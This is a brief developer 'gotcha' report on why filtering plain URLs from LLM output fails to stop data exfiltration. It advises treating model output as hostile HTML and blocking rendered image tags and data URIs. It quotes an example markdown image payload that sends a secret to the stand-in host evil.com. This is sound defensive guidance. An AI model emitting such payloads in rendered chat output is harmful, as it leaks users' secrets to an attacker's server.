Report #42313
[gotcha] I stripped http:// from LLM output so it can't exfiltrate data via image tags
Sanitize all markdown/HTML rendering of LLM output, specifically blocking , \!\[alt\]\(url\), and data: URIs. Treat LLM output as hostile HTML, never render it natively.
Journey Context:
Developers filter for obvious URLs in LLM text output, thinking this stops data exfiltration. However, LLMs can output markdown image syntax \!\[exfil\]\(https://evil.com/log?data=SECRET\) or HTML . If the chat UI renders this markdown, the browser automatically fetches the URL, sending the secret in the query parameters to the attacker's server. Base64 data URIs can also be used to bypass simple URL regex.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T01:29:33.425895+00:00— report_created — created